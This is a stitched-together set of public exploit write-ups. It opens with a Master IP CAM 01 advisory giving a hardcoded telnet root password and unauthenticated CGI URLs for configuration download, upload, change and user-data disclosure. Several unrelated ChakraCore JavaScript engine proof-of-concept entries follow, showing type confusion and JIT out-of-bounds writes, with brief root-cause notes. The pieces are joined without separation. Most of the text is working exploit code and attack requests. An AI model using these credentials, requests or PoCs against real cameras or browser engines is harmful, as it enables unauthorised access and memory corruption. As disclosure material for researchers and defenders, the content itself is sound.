#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
            
# Exploit Title: Master IP CAM 01 Multiple Vulnerabilities
# Date: 17-01-2018
# Remote: Yes
# Exploit Authors: Daniele Linguaglossa, Raffaele Sabato
# Contact: https://twitter.com/dzonerzy, https://twitter.com/syrion89
# Vendor: Master IP CAM
# Version: 3.3.4.2103
# CVE: CVE-2018-5723, CVE-2018-5724, CVE-2018-5725, CVE-2018-5726

I DESCRIPTION
========================================================================
The Master IP CAM 01 suffers of multiple vulnerabilities:

# [CVE-2018-5723] Hardcoded Password for Root Account
# [CVE-2018-5724] Unauthenticated Configuration Download and Upload
# [CVE-2018-5725] Unauthenticated Configuration Change
# [CVE-2018-5726] Unauthenticated Sensitive Information Disclousure


II PROOF OF CONCEPT
========================================================================

## [CVE-2018-5723] Hardcoded Password for Root Account

Is possible to access telnet with the hardcoded credential root:cat1029


## [CVE-2018-5724] Unauthenticated Configuration Download and Upload

Download:

http://192.168.1.15/web/cgi-bin/hi3510/backup.cgi

Upload Form:

### Unauthenticated Configuration Upload
<form name="form6" method="post" enctype="multipart/form-data"
action="cgi-bin/hi3510/restore.cgi" >
<input type="file" name="setting_file" >
<input type="submit" value="restore" >
</form>


## [CVE-2018-5725] Unauthenticated Configuration Change

Change configuration:

http://192.168.1.15/web/cgi-bin/hi3510/param.cgi?cmd=sethttpport&-httport=8080

List of available commands here:
http://www.themadhermit.net/wp-content/uploads/2013/03/FI9821W-CGI-Commands.pdf


## [CVE-2018-5726] Unauthenticated Sensitive Information Disclousure

Retrieve sensitive information:

http://192.168.1.15/web/cgi-bin/hi3510/param.cgi?cmd=getuser


III REFERENCES
========================================================================
http://syrion.me/blog/master-ipcam/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5723
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5724
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5725
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5726
http://www.themadhermit.net/wp-content/uploads/2013/03/FI9821W-CGI-Commands.pdf
            
/*
Here's a snippet of the method.
bool JavascriptGeneratorFunction::GetPropertyBuiltIns(Var originalInstance, PropertyId propertyId, Var* value, PropertyValueInfo* info, ScriptContext* requestContext, BOOL* result)
{
    if (propertyId == PropertyIds::length)
    {
        ...
        int len = 0;
        Var varLength;
        if (scriptFunction->GetProperty(scriptFunction, PropertyIds::length, &varLength, NULL, requestContext))
        {
            len = JavascriptConversion::ToInt32(varLength, requestContext);
        }
        ...
        return true;
    }

    return false;
}

"JavascriptGeneratorFunction" is like a wrapper class used to ensure the arguments for "scriptFunction". So "scriptFunction" must not be exposed to user JavaScript code. But the vulnerable method exposes "scriptFunction" as "this" when getting the "length" property.

The code should be like: "scriptFunction->GetProperty(this, PropertyIds::length, &varLength, NULL, requestContext);"

Type confusion PoC:
*/

function* f() {
}

let g;
f.__defineGetter__('length', function () {
    g = this;  // g == "scriptFunction"
});


f.length;

g.call(0x1234, 0x5678);  // type confusion
            
/*
Let's start with comments in the "GlobOpt::TrackIntSpecializedAddSubConstant" method.
            // Track bounds for add or sub with a constant. For instance, consider (b = a + 2). The value of 'b' should track
            // that it is equal to (the value of 'a') + 2. That part has been done above. Similarly, the value of 'a' should
            // also track that it is equal to (the value of 'b') - 2.

This means "j" will be guaranteed to be in the range of INT_MIN to 15(INT_MAX - 0x7ffffff0) at (a) in the following code. In detail, it uses "BailOutOnOverflow", which makes the JITed code bailout when an integer overflow occurs, to ensure the range.

function opt(j) {
    let k = j + 0x7ffffff0;
    // (a)
}


But if integer overflows continuously occur in the JITed code or it's known that "k" doesn't fit in an int at compile time, Chakra considers "k" to be a float.

For example, in the following code where "j" is always greater than 100, "k" is considered a float. So it doesn't use "BailOutOnOverflow" for the add operation.

function opt(j) {
    if (j <= 100)
        return;

    let k = j + 0x7ffffff0;
}


Now, let's take a look at the PoC.

function opt() {
    let j = 0;
    for (let i = 0; i < 2; i++) {
        // (a)
        j += 0x100000;
        // (b)
        let k = j + 0x7ffffff0; // (c)
    }
}

Note that all loops are analyzed twice in the JIT optimization process.

Here's what happens in the analyses.

In the first analysis:
At (b), Chakra considers "j" to be in the range of INT_MIN to INT_MAX.
At (c), INT_MAX + 0x7ffffff0 overflows but INT_MIN + 0x7ffffff0 doesn't, so it assumes "k" may fit in an int and that "BailOutOnOverflow" will be used to ensure "j" to be in the range of INT_MIN to 15.

In the second analysis:
At (a), Chakra considers "j" to be in the range of 0 to 15.
At (b), Chakra considers "j" to be in the range of 0x100000 to 0x10000f.
At (c), in both cases of 0x100000 + 0x7ffffff0 and 0x10000f + 0x7ffffff0, an integer overflow occurs. So "k" is considered a float.


In the first analysis, it made two assumptions: "k" will be an int, and therefore "BailOutOnOverflow" will be used. But actually, both assumptions are wrong. "k" will be a float. And "BailOutOnOverflow" will never be used.

However it's already guaranteed "j" to be in the range of INT_MIN to 15 at (a) based on the wrong assumptions. We can abuse this.

PoC demonstrating OOB write:
*/
function opt(arr) {
    if (arr.length <= 15)
        return;

    let j = 0;
    for (let i = 0; i < 2; i++) {
        arr[j] = 0x1234;  // (a)
        j += 0x100000;
        j + 0x7ffffff0;
    }
}

function main() {
    for (let i = 0; i < 0x10000; i++) {
        opt(new Uint32Array(100));
    }
}

main();

// At (a), Chakra considers "j" to be always in the range of INT_MIN to 15, the length of "arr" has been already guaranteed to be upper than 15, so it eliminates the bounds check.
            
/*
Since the PoC is only triggerable when the "DeferParse" flag enabled and requires a with statement, I think this is simillar to  issue 1310 .

PoC:
*/

// Enable the flag using '\n'.repeat(0x1000)
eval(`(function f() {
    with ({}) {
        (function () {
            print(f);
        })();
    }
}());` + '\n'.repeat(0x1000));

PoC 2:
// ./ch poc.js -ForceDeferParse
(function f() {
    with ({}) {
        (function () {
            print(f);
        })();
    }
}());
            
// PoC:

(function func(arg = function () {
    print(func);  // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.
}()) {
    print(func);
    function func() {

    }
})();

// Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode.
            
// Here's the PoC demonstrating OOB write.

function opt(arr, start, end) {
    for (let i = start; i < end; i++) {
        if (i === 10) {
            i += 0;  // <<-- (a)
        }
        arr[i] = 2.3023e-320;
    }
}

function main() {
    let arr = new Array(100);
    arr.fill(1.1);

    for (let i = 0; i < 1000; i++)
        opt(arr, 0, 3);

    opt(arr, 0, 100000);
}

main();

/*
What happens here is as follows:
In the loop prepass analysis, (a) is a valid add operation. It's a relative operation to "i", so Chakra thinks it's a valid loop. The variable "i" now becomes an induction variable, and a LoopCount object is created. When the LoopCount object is created, the ValueInfo of "i" is IntBounded which contains relative bounds information. 
In the actual optimization phase, (a) gets optimized and becomes a load operation which directly loads 10 to "i". It's no more relative operation, therefore the ValueInfo of "i" is not to be IntBounded. But the LoopCount object has already been created with the previous information. This leads Chakra to fail computing bounds which may result in OOB read/write.
*/